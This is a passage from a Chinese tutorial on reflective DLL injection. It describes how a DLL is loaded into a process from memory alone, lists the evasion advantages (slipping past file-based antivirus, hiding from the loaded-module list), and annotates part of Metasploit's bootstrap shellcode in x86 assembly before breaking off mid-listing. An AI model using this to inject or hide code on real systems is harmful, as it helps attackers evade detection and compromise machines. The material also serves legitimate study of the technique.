一、reflective dll injection 反射注入介绍
网上对反射注入的定义是只通过内存把DLL注入到特定进程中,也就是说整个过程都不涉及文件操作。
优点
-
规避杀软基于文件系统的检测
-
不会在进程的DLL链表里留下记录
-
通过特殊处理,可以使用正常的方式编写DLL,实现shellcode的效果
缺点
- DLL体积较大,相比于shellcode注入,更容易被检测
二、修改dos头,填入精心构造的 bootstrap shellcode
metasploit 实现的bootstrap shellcode非常精妙,它保留了正常DLL的特征
dec ebp ; M
pop edx ; Z
call 0 ; call next instruction
pop ebx ; get our location (+7)
push edx ; push edx back
inc ebp ; restore ebp
push ebp ; save ebp
mov ebp, esp ; setup fresh stack frame
add ebx, 0x???????? ; add offset to ReflectiveLoader
call ebx ; call ReflectiveLoader
mov ebx, eax ; save DllMain for second call
push edi ; our socket
push 0x4 ; signal we have a